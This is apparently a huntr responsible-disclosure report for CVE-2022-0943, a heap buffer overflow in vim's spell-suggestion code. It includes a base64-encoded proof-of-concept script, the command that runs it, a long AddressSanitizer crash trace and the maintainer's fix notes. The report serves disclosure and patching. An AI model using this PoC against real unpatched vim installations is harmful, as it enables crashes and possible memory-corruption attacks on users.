huntr

Heap-based Buffer Overflow occurs in vim in vim/vim

0

✓ Valid Reported on Mar 12th 2022

Description

Heap-based Buffer Overflow occurs in suggest_try_change().
commit : d0b7bfa95798f5ec743d8afffbffb83aeac823da

Proof of Concept

```
$ echo -ne "c2UgZW5jb2Rpbmc9aXNvODg1OQpub3JtMFIwMDAwMDAwMDAwMApzaWwwbm9ybR
aWwhbm9ybRZpMDAwMDApCmNhbCBSKCkKbm9ybTF6PQplbmRmCmNhbCBSKCk=" | base64 -d

$ ASAN
$ ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!"
=================================================================
==127228==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61200
READ of size 1 at 0x6120000212f8 thread T0
    #0 0x430f35 in strlen (/home/alkyne/vim-debug/src/vim.asan+0x430f35)
    #1 0xbb0404 in suggest_try_change /home/alkyne/vim-debug/src/spellsugge
    #2 0xbaa268 in spell_suggest_intern /home/alkyne/vim-debug/src/spellsug
    #3 0xba6e13 in spell_find_suggest /home/alkyne/vim-debug/src/spellsugge
    #4 0xba37da in spell_suggest /home/alkyne/vim-debug/src/spellsuggest.c:
    #5 0x922c10 in nv_zet /home/alkyne/vim-debug/src/normal.c:2998:7
    #6 0x8f406d in normal_cmd /home/alkyne/vim-debug/src/normal.c:930:5
    #7 0x6f763d in exec_normal /home/alkyne/vim-debug/src/ex_docmd.c:8670:6
    #8 0x6f7243 in exec_normal_cmd /home/alkyne/vim-debug/src/ex_docmd.c:86
    #9 0x6f6fa3 in ex_normal /home/alkyne/vim-debug/src/ex_docmd.c:8551:6
    #10 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #11 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #12 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
    #13 0xcee0b6 in call_user_func_check /home/alkyne/vim-de
    #14 0xcea762 in call_func /home/alkyne/vim-debug/src/us
    #15 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:
```

```
#16 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#17 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#18 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17

#19 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
#20 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
#21 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:11
#22 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:
#23 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#24 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#25 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#26 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
#27 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
#28 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:11
#29 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:
#30 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#31 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#32 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#33 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
#34 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
#35 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:11
#36 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:
#37 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#38 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#39 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#40 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
#41 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
#42 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:11
#43 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:
#44 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#45 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#46 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#47 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
#48 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
#49 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:11
#50 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:
#51 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#52 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#53 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_
#54 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/s
#55 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
#56 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:11
```

```
#56 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:11
#57 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:
#58 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6

#59 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#60 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#61 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
#62 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
#63 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:11
#64 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:
#65 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#66 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#67 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#68 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
#69 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
#70 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:11
#71 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:
#72 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#73 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#74 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#75 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
#76 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
#77 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:11
#78 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:
#79 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#80 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#81 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#82 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
#83 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
#84 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:11
#85 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:
#86 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#87 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#88 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#89 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
#90 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
#91 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:11
#92 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:
#93 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#94 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/e
#95 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#96 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
```

```
#96 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
#97 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
#98 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1

#99 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#100 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#101 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567
#102 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#103 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#104 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#105 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#106 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#107 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#108 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567
#109 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#110 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#111 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#112 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#113 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#114 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#115 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567
#116 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#117 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#118 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#119 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#120 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#121 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#122 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567
#123 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#124 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#125 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#126 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#127 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#128 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#129 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567
#130 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#131 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#132 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#133 0xcea762 in call_func /home/alkyne/vim-debug/src/us
#134 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src
#135 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#136 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567
```

```
#136 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:
#137 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#138 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2

#139 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#140 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#141 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#142 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#143 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:
#144 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#145 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#146 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#147 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#148 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#149 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#150 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:
#151 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#152 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#153 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#154 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#155 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#156 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#157 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:
#158 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#159 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#160 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#161 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#162 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#163 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#164 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:
#165 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#166 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#167 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#168 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#169 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#170 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#171 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:
#172 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#173 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/sr
#174 0xcee0b6 in call_user_func_check /home/alkyne/vim-
#175 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#176 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
```

```
#176 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#177 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#178 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567

#179 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#180 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#181 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#182 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#183 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#184 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#185 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567
#186 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#187 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#188 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#189 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#190 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#191 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#192 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567
#193 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#194 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#195 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#196 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#197 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#198 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#199 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567
#200 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#201 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#202 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#203 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#204 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#205 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#206 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567
#207 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
#208 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#209 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
#210 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#211 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
#212 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
#213 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/e
#214 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/
#215 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
#216 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
```

```
    #216 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
    #217 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
    #218 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787

    #219 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
    #220 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:
    #221 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
    #222 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
    #223 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
    #224 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
    #225 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
    #226 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
    #227 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:
    #228 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
    #229 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
    #230 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
    #231 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
    #232 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
    #233 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
    #234 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:
    #235 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
    #236 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
    #237 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
    #238 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
    #239 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
    #240 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
    #241 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:
    #242 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
    #243 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2
    #244 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfu
    #245 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
    #246 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787
    #247 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
    #248 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:
    #249 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:1
    #250 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2

0x6120000212f8 is located 0 bytes to the right of 312-byte region [0x61200
allocated by thread T0 here:
    #0 0x499c8d in malloc (/home/alkyne/vim-debug/src/vim.a
    #1 0x4cb0e0 in lalloc /home/alkyne/vim-debug/src/alloc.c:248:11
    #2 0x4cb030 in alloc /home/alkyne/vim-debug/src/alloc.c:151:12
    #2 0x4cb039 in alloc /home/alkyne/vim-debug/src/alloc.c:151:12
    #3 0xbca715 in vim_strsave /home/alkyne/vim-debug/src/strings.c:27:9
    #4 0xba364f in spell_suggest /home/alkyne/vim-debug/src/spellsuggest.c:

    #5 0x922c10 in nv_zet /home/alkyne/vim-debug/src/normal.c:2998:7
    #6 0x8f406d in normal_cmd /home/alkyne/vim-debug/src/normal.c:930:5
    #7 0x6f763d in exec_normal /home/alkyne/vim-debug/src/ex_docmd.c:8670:6
    #8 0x6f7243 in exec_normal_cmd /home/alkyne/vim-debug/src/ex_docmd.c:86
    #9 0x6f6fa3 in ex_normal /home/alkyne/vim-debug/src/ex_docmd.c:8551:6
    #10 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #11 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #12 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
    #13 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
    #14 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:11
    #15 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:
    #16 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
    #17 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #18 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #19 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
    #20 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
    #21 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:11
    #22 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:
    #23 0xd09fee in ex_call /home/alkyne/vim-debug/src/userfunc.c:5458:6
    #24 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
    #25 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
    #26 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
    #27 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfun
    #28 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:11
    #29 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/alkyne/vim-debug/src
Shadow bytes around the buggy address:
  0x0c247fffc200: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fffc210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c247fffc220: 00 00 00 00 00 00 00 00 00 01 fa fa fa fa fa fa
  0x0c247fffc230: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fffc240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c247fffc250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[fa]
  0x0c247fffc260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fffc270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fffc280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fffc290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fffc2a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):

  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==127228==ABORTING
```

Impact

This vulnerability is capable of exploiting the binary.

CVE

CVE-2022-0943
(Published)

Vulnerability Type

CWE-122: Heap-based Buffer Overflow

Severity

High (8.4)

Visibility

Public

Status

Fixed

Found by

alkyne Choi

@alkyne

unranked

Fixed by

Bram Moolenaar

@brammool

maintainer

This report was seen 1,240 times.

We are processing your report and will contact the **vim** team within 24 hours. 8 months ago

We have contacted a member of the **vim** team and are waiting to hear back 8 months ago

Bram Moolenaar validated this vulnerability 8 months ago

alkyne Choi has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Bram Moolenaar 8 months ago Maintainer

The POC can be simplified, there is no need for calling the function recursively.

Bram Moolenaar marked this as fixed in **8.2** with commit **5c6861** 8 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Chat with us

Sign in to join this conversation

Sign in to join this conversation

Chat with us